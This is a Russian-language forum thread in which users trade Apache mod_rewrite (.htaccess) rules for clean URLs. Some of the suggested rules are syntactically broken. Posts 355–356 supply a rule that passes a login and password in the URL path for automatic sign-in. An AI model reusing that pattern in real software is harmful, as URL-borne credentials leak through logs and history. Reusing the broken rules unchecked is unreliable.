Блин всё не могу сделать,подскажите ребята вот есть ссылка к примеру gb.site.ru/add.php?id=57&ps=534 как преобразовать чтоб было gb.site.ru/add/534

204. Удаленный (05.07.2009 / 09:56)
gb.site.ru/add/57/534 вернее так у меня же там пароль и ид

205. Удаленный (05.07.2009 / 09:59)
Всё сделал)работаетsmile

206. Саня (08.07.2009 / 17:06)
Народ, помогите 201

207. Алексей (08.07.2009 / 23:03)
ребята подскажите как главной странице сайта site.ru/index.php перейти
на site.ru/chat/index.php вот таким оброзом
site.ru/index.php?id=1 или вот так site.ru/index.php?p=chat

208. Titov (09.07.2009 / 01:09)
201
RewriteRule ^papka/in/([a-z0-9]*)/([a-z0-9]*)$ papka/in.php?abc=$1&f=$2
ссылка типа papka/in/1/2 будет перекидывать на papka/in.php?abc=1&f=2

209. Titov (09.07.2009 / 01:11)
RewriteEngine on
RewriteRule ^papka/in/([a-z0-9]*)/([a-z0-9]*)$ papka/in.php?abc=$1&f=$2[L,QSA]


210. Саня (11.07.2009 / 12:41)
209, спасибо, робит как по маслуsmile

211. Иван (24.07.2009 / 16:23)
Парни помогите настроить ModRewrite
У меня есть реф ссылка для привлечения друзей на сайт.
Выглядит она так:
http://сайт.ру/?id=1
Я хотел бы изменить адрес и чтобы перейдя по ссылке
http://vkaife.biz/1/
поподали на
http://vkaife.biz/?id=1
Заранее огромное спасибо.
Поможите плиз не шарю в этом ни фига, что и как прописать.
Хотелось бы если можно полностью код который вставить в хитачес.

212. Иван (24.07.2009 / 16:24)
Блин тупанул smile Первую ссылку изменил чтобы не посчитали рекламой а остальные забыл.
Спасибо и плюс если надо от меня обеспечен.

213. Димон (24.07.2009 / 21:10)
ответте, плз, на вопрос в 197 посте

214. Саня (26.07.2009 / 07:03)
211,212 так попробуй
RewriteEngine on 
RewriteRule ^/([0-9]*)/$ /?id=$1


215. Игорь (05.08.2009 / 13:36)
Нужна такая штука!
Нужно перенаправить папку sait.ru/papka
на papka.sait.ru
При чем что б все ссылки с sait.ru/papka Перенпарвлялись на papka.sait.ru
например набираем в адресе sait.ru/papka/index.php?mode=user&login=login$pass=pass а нас перекидывает на papka.sait.ru/index.php?mode=user&login=login$pass=pass

216. Саня (05.08.2009 / 16:16)
это создание поддамена, прочти тему сначала, был где-то код

217. Hazyain (25.08.2009 / 09:01)
RewriteEngine on
RewriteRule ^/([0-9]*)/$ index.php?id=$1
меня ссылка http://visavi.net/serial/index.php?id=1234
надо чтоб было http://visavi.net/serial/1234
этот хтассец я закидаю в деректорию serial и всеодно не работает( чтото не то делаю ?

218. Hazyain (31.08.2009 / 01:26)
ну народ помогите пожалуйста

219. Lugaro (31.08.2009 / 01:30)
RewriteRule ^/([0-9]+)$ index.php?id=$1

220. Hazyain (31.08.2009 / 01:40)
нечего не изменилось..не работает...

221. Hazyain (31.08.2009 / 02:38)
Раздуплился надо былу убрать / RewriteRule ^([0-9]+)$ index.php?id=$1
тока вот хотел узнать я то набираю http://visavi.net/serial/1234 и оно работает а набираю http://visavi.net/serial/index.php?id=1234 оно просто не меняеться, а как сделать чтоб при запросе на http://visavi.net/serial/index.php?id=1234 оно автоматом перекидывало на http://visavi.net/serial/1234

222. Бубль Гум (19.11.2009 / 18:20)
site.ru/1000/file.zip?url=other.ru
надо чтобы передалось скрипту index.php?file_id=1000&name=file&type=zip&url=other.ru
как сделать не подскажете?

223. ramzes (19.11.2009 / 18:49)
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteBase /
RewriteRule ^([0-9]+)/([a-zA-Z0-9_-]+).([a-zA-Z0-9]+)$ index.php?file_id=$1&name=$2&type=$3 [L,QSA]
</IfModule>
вот так вроде бы. Урл у тебя не преобразуется так что его и не стал вписывать, он сам будет прил***. Попробуй.

224. Бубль Гум (19.11.2009 / 18:57)
223, если в url знак "?" то дальше него ниче не преобрзуется?

225. ramzes (19.11.2009 / 19:50)
Почему? Преобразуется. Просто у тебя до реврайта и после, одинаково урл=сайт.ру выглядит. Не за чем значит его обрабатыватьsmile

226. Бубль Гум (19.11.2009 / 19:59)
аа. ну пасиб. мысленный +1 (n < 150КЦ)

227. Parviz (23.11.2009 / 17:35)
Помогите пожалуйста преобразовать следующее:
http://test.ru/page.php?ver=pda&id=12345&page=6789&line=98765&log=test&name=test
в такой формат:
http://test.ru/page/pda/12345/6789/98765/log=test&name=test

228. Артур (23.11.2009 / 18:28)
227, может в такой? http://test.ru/page/pda/12345/6789/98765/?log=test&name=test

229. Parviz (23.11.2009 / 19:10)
228. Ну можно и в такой, мне важна основная часть

230. ramzes (24.11.2009 / 17:39)
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteBase /
RewriteRule ^([a-z0-9_-]+)/([a-z]+)/([0-9]+)/([0-9]+)/ $ $1.php?ver=$2&page=$3&line=$4 [L,QSA]
</IfModule>
если я правильно суть понял.
page/pda/1/5/?дальше что угодно

231. Parviz (24.11.2009 / 19:18)
230. Спасибо за помощь, лови +

232. chiper (20.12.2009 / 22:06)
А я все раньше думал, неужели на апвапе создаются папкиD

233. Nu3oN (17.01.2010 / 16:41)
Не догоню чет!
если я ввожу ссылку
www.google.ru/search?hl=ru&source=hp&q=ghjgj&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+Google&lr=&aq=f&oq=
то мне выдает только
www.google.ru/search

234. Nu3oN (17.01.2010 / 16:57)
Вот условие
RewriteRule ^url/([a-z0-9_\-\./=?%]+)$ url.php?link=$1 [QSA,L]

235. Nu3oN (17.01.2010 / 18:57)
Все! разобрался smile

236. Игорь (21.01.2010 / 12:29)
Вот хороший генератор: http://www.generateit.net/mod-rewrite/

237. Удаленный (25.01.2010 / 04:13)
Помогите плис уже запарился
мож кто тестировал реврайт встРечался?
Вошем ставлю
RewriteEngine on
RewriteRule ^([a-zA-Z0-9\_]+\.[p3m]+)$ /torent/gets.php?name=$1 [L,QSA]
или
RewriteEngine on
RewriteRule ^([a-zA-Z0-9\_]+\.mp3)$ /torent/gets.php?name=$1 [L,QSA]

Все работает
но когда ставлю
RewriteEngine on
RewriteRule ^([a-zA-Z0-9\_]+\.[a-z0-9]+)$ /torent/gets.php?name=$1 [L,QSA]

или
RewriteEngine on
RewriteRule ^([a-zA-Z0-9\_]+\..+)$ /torent/gets.php?name=$1 [L,QSA]

Вылетает 500 почему так?

238. Удаленный (25.01.2010 / 04:22)
Тольккошто поставил
RewriteEngine on
RewriteRule ^([a-zA-Z0-9\_\.\-]+)$ /torent/gets.php?name=$1 [L,QSA]

тоже 500
адрес вида sajt.ru/torent/file123.mp3
и хтач лежит
sajt.ru/torent/htaccess

239. Удаленный (25.01.2010 / 04:29)
Странно взял дополнительную директорию заработало
RewriteEngine on
RewriteRule ^get/([a-zA-Z0-9\_]+\.[a-z0-9]+)$ /torent/gets.php?name=$1 [L,QSA]


240. Titov (11.02.2010 / 15:50)
RewriteEngine on
RewriteRule ^load/([0-9]*)/([0-9]*)/test_ru_([a-zA-Z0-9\/\.\@\*\(\)\?\!\-\~\_\[\]\=]*)$ load/$1/$2/$3 [L,QSA]

http://site.ru/load/papka/papka/test_ru_file.jpg не переходит на http://site.ru/load/papka/papka/file.jpg
почему?

241. ramzes (11.02.2010 / 16:31)
RewriteEngine on
RewriteRule ^load/([0-9]*)/([0-9]*)/(test_ru_[a-zA-Z0-9\/\.\@\*\(\)\?\!\-\~\_\[\]\=]*)$ load/$1/$2/$3 [L,QSA]
так попробуй. Потому что регулярка возвращает только области захвата (...) а все что вне их не запоминает.

242. Titov (11.02.2010 / 18:52)
241 заработало, спасибо!

243. shurik (16.02.2010 / 13:46)
а как сделать чтобы отображалось не по site.ru/1
а site.ru/room/1
?

244. Удаленный (16.02.2010 / 16:59)
243. SHuRiК 59,
RewriteBase /
RewriteRule ^room/([0-9]+)/?$ site.ru/room.php?id=$1

245. Studentsov (16.02.2010 / 17:10)
Есть правило:
RewriteRule ^wall/send/([^/]*)/$ users.php?act=wall&do=send&user=$1 [L,QSA]
Почему-то при переходе по адресу
http://site.ru/wall/send/2/
кидает на users.php?act=wall&do=send&user=send Никак не могу понять, в чём проблема

246. Дмитрий (16.02.2010 / 17:34)
RewriteRule ^wall/send/([0-9]+)/$ users.php?act=wall&do=send&user=$1 [L,QSA] попробуй так

247. ктулху (16.02.2010 / 17:38)
246, Юзер может быть не только числом

248. Studentsov (16.02.2010 / 17:41)
В том то и дело, что не только числом, но и любым символом из латинского или кириллического алфавита

249. Дмитрий (16.02.2010 / 17:42)
тогда попробуй написать A-Za-z0-9

250. ктулху (16.02.2010 / 17:43)
RewriteRule ^wall/send/([A-z0-9A-Я]+)/?$ /users.php?act=wall&do=send&user=$1

251. ктулху (16.02.2010 / 17:50)
RewriteRule ^wall/send/(.*)/?$ /users.php?act=wall&do=send&user=$1
Так попробуй

252. Studentsov (16.02.2010 / 17:53)
непомогает sad

253. ramzes (16.02.2010 / 17:59)
Как это не помогает? Или пишешь не так как то или х.3.
#251 точно рабочий код.

254. Studentsov (16.02.2010 / 18:28)
Когда юзается wall/send/Димон например, то всё норм. а когда wall/send/{цифра} то нифига не работает

255. Studentsov (16.02.2010 / 18:45)
Всем спасибо, оказалось там у меня правила конфликтовали

256. Ваня (16.02.2010 / 20:48)
А как сделать login.site.ru ?

257. ramzes (16.02.2010 / 20:53)
Ниже тема есть про поддомены, в ней смотри

258. Ваня (19.02.2010 / 19:41)
Как сделать чтобы страница http://site.ru/pages/anketa.php?uz=логин была доступна по адресу http://site.ru/uzer/логин ?

259. ramzes (19.02.2010 / 20:31)
^user/([a-zA-Z0-9-]+)$ pages/anketa.php?uz=$1

260. Удаленный (06.03.2010 / 10:38)
Как сделать так, чтоб такая sait.ru/anketa.php?login=IceJOKER ссылка, выглядела так IceJOKER.sait.ru ? Буду благодарен

261. Олег (07.03.2010 / 02:40)
IceJOKER, одним реврайтом необойтись. Придется днс настраивать.

262. Удаленный (07.03.2010 / 13:26)
261, Xостер сказал, что все настроено. Осталось прописать в xитачессе код

263. Артур (07.03.2010 / 14:43)
262, http://www.google.com/m?q=Виртуальные поддомены&client=ms-opera-mini&channel=new

264. Удаленный (07.03.2010 / 22:42)
Блин, дайте код, а не ссылку

265. RekMan (15.04.2010 / 15:52)
Как можно в этом скрипте upwww.zip изменить ссылку на скачку файлов
стоит так sait.ru/index.php?id=1 как сделать что бы было так sait.ru/1 как на upwap.ru

266. ramzes (15.04.2010 / 16:22)
^([0-9]+) $index.php?id=$1

267. RekMan (15.04.2010 / 16:58)
266. ramzes, не получается выдаёт ошибку 500 Internal Server Error

268. ramzes (15.04.2010 / 19:12)
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteBase /
RewriteRule ^([0-9]+) $index.php?id=$1 [L,QSA]
</IfModule>

269. DIGIT500 (21.04.2010 / 19:21)
Всем привет!
Прописал на своем сайте:
RewriteEngine On
RewriteBase /
RewriteRule ^afisha/$ /index.php?do=afisha [L]
Все работает хорошо. Т.е. при вводе sait.ru/afisha/ страничка открывается и все показывает....
Но при вводе sait.ru/index.php?do=afisha тоже страничку показывает... но это вроде как и правильно...
Но на сайте у меня теперь ДВЕ страницы с одной и той же информацией:
1. sait.ru/afisha/
2. sait.ru/index.php?do=afisha
что плохо для поисковика...
В инете полно моих ссылок с sait.ru/index.php?do=afisha ...
Вопрос:
Как сделать переадресацию с sait.ru/index.php?do=afisha на sait.ru/index.php?do=afisha, т.е все кто приходит по старому адресу попадают на новую страницу.... и видимо запрет для старой страницы sait.ru/index.php?do=afisha , что она перемещена (403) по новому адресу ?
Спасибо.

270. bboytwist (21.04.2010 / 23:15)
"Как сделать переадресацию с sait.ru/index.php?do=afisha на sait.ru/index.php?do=afisha"
или ты ошибся или я не понял)

271. DIGIT500 (21.04.2010 / 23:55)
Блин... Да. Ошибся... Проверял...проверял... чтбы было все правильно... и написал в итоге ерунду....
Правильно так:
Как сделать переадресацию с sait.ru/index.php?do=afisha на sait.ru/afisha/, т.е все кто приходит по старому адресу попадают на новую страницу.... и видимо запрет для старой страницы sait.ru/index.php?do=afisha , что она перемещена (301) по новому адресу ?
Пытался в .htaccess до RewriteEngine On прописать типа:
#Redirect 301 /index.php?do=afisha http://sait.ru/afisha/
(типа перемешена страница по новому адресу) :-)
Но браузер Firefox ругается, что типа страница в цикле и выхода из него никогда не будет... что-то как-то так...
Ну видимо и правильно ругается... так как сначала я указываю, что страница перемещена так:
#Redirect 301 /index.php?do=afisha http://sait.ru/afisha/
а потом RewriteRule ^afisha/$ /index.php?do=afisha [L] видимо пытается проделать обратно ... :-) А как сделать правильно? Спасибо.

272. Мансур (01.05.2010 / 20:36)
Как на моторе можно сделать так дапустим анкета site.ru/pages/anketa.php?uz=shurik нужен так site.ru/shurik

273. ramzes (01.05.2010 / 21:02)
Лучше так:
RewriteRule ^user/([a-zA-Z0-9-]+) $pages/anketa.php?uz=$1 [L,QSA]
пишу на ходу могу ошибиться.
echo'<a href="/user/Vasja?'.SID.'">Vasja</a>';

274. Nu3oN (02.05.2010 / 12:43)
ramzes (Вчера / 21:02)
Лучше так:
RewriteRule ^user/([a-zA-Z0-9-]+) $pages/anketa.php?uz=$1 [L,QSA]
пишу на ходу могу ошибиться.
echo'<a href="/user/Vasja?'.SID.'">Vasja</a>';
Так будет доступна анкета по адресу site.ru/user/login
---------
RewriteRule ^([a-Z0-9-]+)$ pages/anketa.php?uz=$1 [L]

275. ramzes (02.05.2010 / 12:49)
Ага, иначе придется переписывать все ссылки в анкете. Хотя один фиг придетсяsmile

276. Иван (15.05.2010 / 23:06)
Подскажите можно ли сделать такую ссылку http://o5cat.ru/razdel.php?id=6&page=5 в такую http://o5cat.ru/sites/6/5/
Впринципе правила я написал, но можно ли как-то сделать чтоб ссылки выглядели преобразованным образом не редактируя класс навигации, а только средствами Mod Rewrite ?

277. Lugaro (15.05.2010 / 23:07)
Нельзя

278. Иван (16.05.2010 / 17:10)
277. .::lugaro::., спс smile

279. Karayazi (24.05.2010 / 11:48)
Здравствуйте, вот в скрипте сеа есть
http://site.ru/load/index.php?id=1
http://site.ru/load/index.php?id=2...
http://site.ru/load/index.php?id=2582 и.т.д
Как зделать чтоб было http://site.ru/load/1/
http://site.ru/load/2/....
В хтачес что написать, так не помогло
RewriteEngine On
RewriteRule ^load/([0-9]+)[\/]?$ load/index.php?id=$1
так тоже не помогло
RewriteEngine On
RewriteRule ^load/([0-9]+)/?$ load/index.php [L,QSA]


280. ramzes (24.05.2010 / 13:04)
Во втором варианте то ?id=$1 добавьsmile

281. Karayazi (24.05.2010 / 13:21)
ramzes (Сегодня / 13:04)
Во втором варианте то ?id=$1 добавьsmile
Всеровно не помогает, хтачес в папке load.

282. Alen (24.05.2010 / 14:33)
RewriteEngine On
RewriteBase /
Options +FollowSymlinks
RewriteRule ^w/([a-zA-Z0-9\=]+)/([a-zA-Z0-9\=]+)/([0-9]+)/([0-9]+)$  web.php?dir=$1&amp;file=$2&amp;p=$3&amp;n=$4
При таком раскладе получается двойная ссылка тоесть вместо http://site.ru/w/dir/file/n/p браузеры распознают как http://site.ru/w/dir/file/n/p/w/dir/file/n/p . Что не так?

283. ramzes (24.05.2010 / 20:07)
281, тогда чего ты пишешь в условии ^load/ ? ^ поставь и все

284. Мансур (12.06.2010 / 15:06)
Исправте плиз реврайт.

RewriteCond %{HTTP_HOST} ^www.сайт.ком$ [OR]
RewriteCond %{HTTP_HOST} ^www.сайт.ком/(.*)$
RewriteRule ^/?$ "http\:\/\/сайт\.ком\/" [R=301,L]
на сайт захажу так: сайт.ком
а так www.сайт.ком тоже можно. А так: www.сайт.ком/forum уже я гость. Сайт на моторе. Плиз исправте код для htaccess.

285. Удаленный (12.06.2010 / 19:07)
284. Я ВААЩЕ угараю над твоим кодом,давай за 5 рублей я тебе напишу как всё правильно и ЧЕТКО сделать прям вообще как у супер пупер жмупер D

286. ramzes (12.06.2010 / 19:12)
Вообще это к реврайту не относится.
Надо в куках домены указать просто на которые они действуют
285, за одну-две строчки деньги брать? Стрем.

287. Удаленный (12.06.2010 / 19:29)
286. Дяя ми такие понинаесь D за каждую написанную функцию я беру по 20 рублей

288. Angel00001 (16.06.2010 / 02:05)
Как сделать, чтобы всех юзеров со страниц типа:
site.ru/index.php?a=1&b=2
site.ru/index.php?a=2&b=3
(меняются только цифры)
переадресовывало на страницу:
site.ru/error.php
...чтобы не могли попасть на эти станицы.
?

289. Сааааа-нёёёёё-к (16.06.2010 / 09:01)
RewriteRule index.php?a=([0-9]+)&b=([0-9]+) error.php

290. finall2 (16.06.2010 / 09:17)
287.За каждый взгляд на меня,я беру по 50рублей. xaxa

291. Angel00001 (16.06.2010 / 11:41)
Допустим есть ссылка: index.php?ver=xhtml&id=10&password=abc123&go=result&login=77&ref=407023.

Правильно ли я делаю:
RedirectMatch index.php?ver=(xhtml|wml)&id=([0-9]+)&ps=(.*?)&go=result&login=([0-9]+)&ref=([0-9]+) enter.php
...это должно работать?
Или вот так надо начинать, соблюдая синтаксис: RedirectMatch index\.php\?ver= ...???

292. Angel00001 (16.06.2010 / 12:06)
Не работает ни так, ни так. Эх, что не так делаю?

293. Артур (16.06.2010 / 12:44)
292. Angel00001, в ссылке password, а в редиректе ps

294. Сааааа-нёёёёё-к (16.06.2010 / 13:04)
292. Angel00001, ошибки глянь...

295. Сааааа-нёёёёё-к (16.06.2010 / 13:10)
RewriteRule index.php?ver=(xhtml|wml)&id=([0-9]+)&ps=([a-zA-Z0-9]+)&go=result&login=([a-zA-Z0-9]+)&ref=([0-9]+) enter.php?ver=$1&id=$2&ps=$3&go=result&login=$4&ref=$5 [L]
Как то так

296. Мakcим (17.06.2010 / 19:29)
Mod rewrite вoбщe нe cильнo гpузит cepвep?

297. Марсель (29.06.2010 / 15:21)
296. NightStalker, нет

298. gangstersta (10.07.2010 / 01:40)
http://generateit.net/mod-rewrite/ , он лайн генератор ModRewrite smile

299. AzLeON (06.09.2010 / 19:29)
ребята подскажити мне,вот есть такой папка ДИР и внутри есть ФАЙЛ какой то,урл мойсайт.ру/ДИР/индех.пхп?".сид." а мне нужен что бы ето урл закодировалась на басе 64 енкоде. Типа так мойсайт.ру/мирфьидиафмирмф4нфр/мирйрдфаи/ или типо так

300. AzLeON (07.09.2010 / 18:39)
ну че ребята не кто незнает?

301. Azzido (18.09.2010 / 01:06)
300. AzLeON, объясни нормально, а то что это за *** такая
ойсайт.ру/мирфьидиафмирмф4нфр/мирйрдфаи/


302. ★☆ ИгRok™ ☆★ (23.09.2010 / 03:58)
Если у меня вот такая ссылка: http://site.ru/index.php?act=view&amp;id='.$arr['id'].' // ид переменный,вывод текстов

можно ли сделать как минуть короче? Если да,то как?

303. Lugaro (23.09.2010 / 04:26)
302. SoluS_AngeluS, как хочешь можно сделать, хоть так http://site.ru/$arr['id']
Для этого в htaccess пропиши
RewriteEngine On
RewriteRule ^([0-9]+)$ index.php?act=view&id=$1 [QSA,L]


304. ★☆ ИгRok™ ☆★ (23.09.2010 / 05:06)
.::lugaro::. ,прописал,а что дальше? Изменений не вижу

305. Lugaro (23.09.2010 / 05:34)
304. SoluS_AngeluS, xaxa а ты че думаешь оно за тебя каким-то магическим образом изменит ссылки в скрипте?
Это нужно самому править

306. ★☆ ИгRok™ ☆★ (23.09.2010 / 05:38)
305. .::lugaro::., само собой,но какая ссылка то получиться теперь?на какую менять?

307. Lugaro (23.09.2010 / 05:40)
306. SoluS_AngeluS, http://site.ru/$arr['id']

308. ★☆ ИгRok™ ☆★ (23.09.2010 / 05:47)
307. .::lugaro::., все Толь,спасибо,работает =)

309. ★☆ ИгRok™ ☆★ (27.09.2010 / 03:13)
Всем привет...скажите пожалуйста,для последующих ссылок,постоянно для каждой ссылки нужно писать RewriteEngine On? Хочу ссылку типа: http://site.ru/comm.php?id='.$id.' изменить на более короткую

310. ★☆ ИгRok™ ☆★ (27.09.2010 / 20:29)
Может ответит кто-нибудь?

311. ramzes (27.09.2010 / 20:38)
нет ненадо. один раз вначале и хватит

312. ★☆ ИгRok™ ☆★ (27.09.2010 / 20:45)
311.не,это я уже понял...я знаю только как из моей ссылки сделать сайт.ru/'.$Id.'.html а можно короче? Ну или красивее? Какой нибудь другой способ

313. ★☆ ИгRok™ ☆★ (28.09.2010 / 05:02)
Народ,неужели трудно ответить? Тем более если знаете...вот еще вопрос,верно ли я делаю:
RewriteRule ^([^/]*)/([^/]*)/([^/]*)\.html$ index.php?act=$1&id=$2&page=$3 [L]
Для ссылки сайт.ру/index.php?асt=viеw&аmр;id='.$id.'&раgе='.$р.' так? И ссылка должна получиться сайт.ру/viеw/'.$id.'/'.$р.'.html вроде получилось,но может есть другой способ? Как-нибудь красивее? Помогите,по этому и предыдущему посту...с меня "+"

314. ramzes (28.09.2010 / 23:53)
312, ты сначала определись чего ты добиться хочешь.
313, плохой шаблон, если нужны только цифры то и разрешай только цифры

315. ★☆ ИгRok™ ☆★ (29.09.2010 / 16:16)
314.просто я впервые работаю с реваитом. А что определяться?
Вот,как сделать из такой ссылки: http://сайт.ру/соmm.php?id='.$аrr['id'].'
сделать такую: http://сайт.ру/'.$аrr['id'].'/'.$id.'
// где '.$аrr['id'].' переменная которая передает комментируемый текст, а '.$id.' номер комментария комментируемого текста...
Вот,как это сделать? (по разному пробовал не получается! =( )

316. ramzes (30.09.2010 / 21:13)
какой еще текст? ты б еще войну пытался бы через чпу прогнать

317. ★☆ ИгRok™ ☆★ (01.10.2010 / 05:57)
316.да ты не понял,не текст сам,а переменная,id текста,обычной цифрой...это может быть и 1 и 2 и т.д.

318. ramzes (01.10.2010 / 10:05)
^([0-9]+)/([0-9]+)/ $ comm.php?id=$1&id2=$2 [L,QSA]

319. ★☆ ИгRok™ ☆★ (01.10.2010 / 20:52)
318.Спасибо,попробую! А второй способ из 313. Поста? (я читал о htассеss.но не очень понял,там как то все не так)

320. ramzes (01.10.2010 / 21:28)
ну то же самое, только адрес нужный подставляй. с регулярками знаком? это то же самое

321. ★☆ ИгRok™ ☆★ (01.10.2010 / 23:24)
ramzes (1 Октября 2010 / 10:05)
^([0-9]+)/([0-9]+)/ $ comm.php?id=$1&id2=$2 [L,QSA]
не работает,вобще полностью сервак ошибку выдает

322. ramzes (02.10.2010 / 06:14)
это же не полная строка. RewriteRule вначале

323. ★☆ ИгRok™ ☆★ (02.10.2010 / 17:53)
322. ramzes, да,это я знаю,я так и делал... Все равно ошибка

324. ★☆ ИгRok™ ☆★ (02.10.2010 / 17:57)
318. ramzes, ссылка,напомню,может ты что то не так понял,такая: http://Сайт.Ру/соmm.php?id='.$аrr['id'].'

//'.$аrr['id'].' номер(цифра) выбранного текста...

325. ramzes (04.10.2010 / 09:31)
^([0-9]+)/ $comm.php?id=$1 [L,QSA]
тогда так.
ты до этого другое писал

326. ★☆ ИгRok™ ☆★ (06.10.2010 / 04:22)
325. ramzes, хм...спасибо,глюка нет вроде...но не пойму,какая теперь ссылка с твоим шаблоном? Разные уже пробовал

327. ramzes (08.10.2010 / 22:45)
site.ru/123/ такая.
изменяй при желании.
что бы вставить что то site.ru/*/123
допиши это что то сразу после ^

328. blud (12.10.2010 / 02:01)
как правильно сделать чтобы были ссылки из такого вида sait.ru/papka/index.php?id=цифры
в такой sait.ru/papka/цыфры
тестю на денвере почему то не роботает подскажите как правильно сделать чтобы и на денвере пахало
делаю так
RewriteEngine on
RewriteBase /
RewriteRule ^dir/([a-zA-Z0-9-]+) $dir/index.php?del=$1 [L,QSA]
не работаетsad
помогите проблему решить,заранее благодарю

329. Санёк (14.10.2010 / 19:23)
328. blud, RewriteRule ^([a-zA-Z0-9\-_]+)\/([0-9]+)(/?)$ $1/index.php?del=$2

330. ★☆ ИгRok™ ☆★ (15.10.2010 / 00:47)
327. ramzes, все равно: страница не найдена. Вот смотри,например,у меня ссылка на первый текст,такая: http://сайт.ру/1 ,а на комментарии к этому тексту,будет выглядеть так: http://сайт.ру/соmm.php?id=1 ,как тогда она будет выглядеть с помощью ревайта из твоего примера?

331. ramzes (15.10.2010 / 08:40)
ты нормально суть опиши
1. реальный адрес, 2. желаемый адрес
^comments/([0-9]+)/ $comm.php?id=$1 [L,QSA]

332. Алексей Игоревич (02.11.2010 / 22:19)
Чет вообще мозг не работает, скажите, как превратить
site.ru/view.php?id=***
в
site.ru/view***.php

333. ramzes (02.11.2010 / 22:51)
^view([0-9]+).php $view.php?id=$1
так попробуй

334. Алексей Игоревич (03.11.2010 / 21:51)
Ваш положительный голос за пользователя ramzes успешно оставлен!


335. blud (07.11.2010 / 12:26)
всем привет подскажите как сделать из такого адреса /xxx/foto.php в такой /xxx/foto/

336. Вусал (15.11.2010 / 03:55)
вопрос
а в директори индех, реврайт не пашет??

337. ramzes (15.11.2010 / 08:51)
реврайт всегда уступает физическим адресам что бы конфликтов не было

338. Sonikflame (15.11.2010 / 10:15)
Помогите переделать:
http://сайт.ру/downloads/index.php
http://сайт.ру/downloads/index.php?act=view&id=38
http://сайт.ру/downloads/index.php?act=statistika
http://сайт.ру/downloads/index.php?act=load&id=108

и второй вопросик,этот хитач должен быть в корне сайта или можно в саму директорию (downloads) положить?

339. Евгений (15.11.2010 / 11:46)
можно в директорию

RewriteEngine On
RewriteRule ^(load|view)/([\d]+)/?$ index.php?act=$1&id=$2 [L,QSA]
RewriteRule ^stat/?$ index.php?act=statistika [L,QSA]

получится
/downloads/view/38
/downloads/statistika
/downloads/load/108

340. Иван (16.11.2010 / 22:32)
Смотрите есть такое правило
RewriteRule ^catalog/([0-9]*)/([0-9]*)/?$ catalog.php?id=$1&page=$2 [L,QSA]
Ссылка доступна по адресу site.ru/catalog/1/
Вот можно ли сделать так, чтобы в правилах прописать вместо catalog (какой-то код) чтоб данная ссылка была доступна по таким адресам
site.ru/blabla/1/ или site.ru/eprst/1/
Извеняюсь если не ясно выразился.

Добавлено через 07:29 сек.
Или так правильно будет?
RewriteRule ^([A-Za-z/0-9]*)/([0-9]*)/?$ catalog.php?id=$1&page=$2 [L,QSA]

341. Евгений (18.11.2010 / 12:18)
RewriteRule ^(catalog|blablabla|eprst)/([0-9]*)/([0-9]*)/?$ catalog.php?id=$2&page=$3 [L,QSA]
вот так можно.

342. Nu3oN (20.11.2010 / 13:07)
такой вопрос по мод реврайту...
я составил такую регулярку
RewriteRule ^mod\[([a-z]{3,10})\]($|\[[a-z]{3,10}\])($|\[.{0,150}\])$ index.php?mod=$1&act=$2&var=$3 [L,QSA]
когда переданны оба значения, то у меня выходит такая беда

$_GET['mod'] имеет значение home
$_GET['act'] имеет значение [index] (а надо просто index)
$_GET['var'] имеет значение [page10] (а надо просто page10)

можно ли эти квадратные скобки отрезать еще в регулярном выражении?
а то потом в скрипте не охото отрезать эти скобки

343. Nu3oN (20.11.2010 / 17:12)
проблему решил...

344. Иван (25.12.2010 / 19:48)
Объясните как правильно сделать редирект с одной ссылки на другу, чтобы ответ сервера был 301

345. Андрей (30.12.2010 / 23:05)
Расскажите по пальцам.
Имеем ссылки вида сайт.ру/users/Admin и т.д.
Требуется сайт.ру/id1 и т.д. Каждому юзверю свой id

346. smartvbxos7 (30.12.2010 / 23:16)
345, RewriteEngine On
RewriteBase /
RewriteRule ^id([0-9]+)+([/]?)$ /куда ты шлеш с какими параметрами айди = $1 [QSA,L]

347. Андрей (30.12.2010 / 23:32)
А что за параметры айди?

348. ZipeR (31.12.2010 / 06:51)
347. KiPiSH Group, уникальный идентификатор

349. Андрей (31.12.2010 / 07:34)
Ааа, сидка юзверя чтоле?

350. smartvbxos7 (31.12.2010 / 11:14)
349, не придуривайся.
вместо "/куда ты шлеш с какими параметрами айди = $1" пиши к примеру /users.php?id=$1 догнал?

351. Андрей (31.12.2010 / 11:41)
Делетед

352. xass (25.01.2011 / 18:17)
что к RewriteRule нужно добавить чтобы POST работал с modrewrite?

353. KOZZ (25.01.2011 / 18:26)
352, что именно ты хочешь сделать?

354. xass (25.01.2011 / 18:32)
все уже.. разобрался

355. Данис (26.01.2011 / 21:07)
Как сформировать правило для следующего запроса типо автологина
http://site.ru/danis92/qwerty т.е логин и пароль
к следующему файлу system/pages/auth,php?nick=danis92&password=qwerty

356. Titov (27.01.2011 / 15:35)
355
RewriteEngine on
RewriteRule ^([a-zA-Z0-9]*)/([a-zA-Z0-9]*)$ system/pages/auth.php?nick=$1&password=$2 [L,QSA]
----
И вопрос тоже есть у меня
так будет работать?
RewriteEngine on
//// передаю закодированую строку в гет запросе, в хтачес нада раскодировать
RewriteRule ^([a-zA-Z0-9]*)/([a-zA-Z0-9]*)/([a-zA-Z0-9]*)$ funk_decode($1)/funk_decode($2)/funk_decode($3) [L,QSA]

357. Данис (27.01.2011 / 20:30)
356. Тitov, спасибо )работает я уже с бубном хотел плясать )

358. smartvbxos7 (29.01.2011 / 04:36)
358, ^/([a-z0-9\-_&\!\?]+)+[/]?$

359. Titov (29.01.2011 / 15:14)
358 ([a-zA-Z0-9\-\&\?\!\/]*) как то так наверное

360. Mafia (29.01.2011 / 15:30)
удалено

361. Марсель (29.01.2011 / 17:37)
(.*?) и не мучайтесь =\

362. Иван (17.02.2011 / 13:02)
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_URI} Æ/Sitemap\.xml$ [NC]
RewriteRule Æ.* /sitemap.php?type=xml [L]


Подскажите в чём ошибка?

363. Иван (17.02.2011 / 14:55)
RewriteEngine On

RewriteBase /

RewriteCond %{REQUEST_URI} ˆ/Sitemap\.xml$ [NC]

RewriteRule ˆ.* /sitemap.php?type=xml [L]

364. Karayazi (18.02.2011 / 02:53)
Есть ссылка
site.ru/papka/load.php?fs=load&file=2/58965/5b6q775.3gp
Скажите пожалуйста как сделать:
site.ru/papka/load/2/58965/5b6q775.3gp

365. Иван (18.02.2011 / 22:19)
365. Karayazi, пробуй так
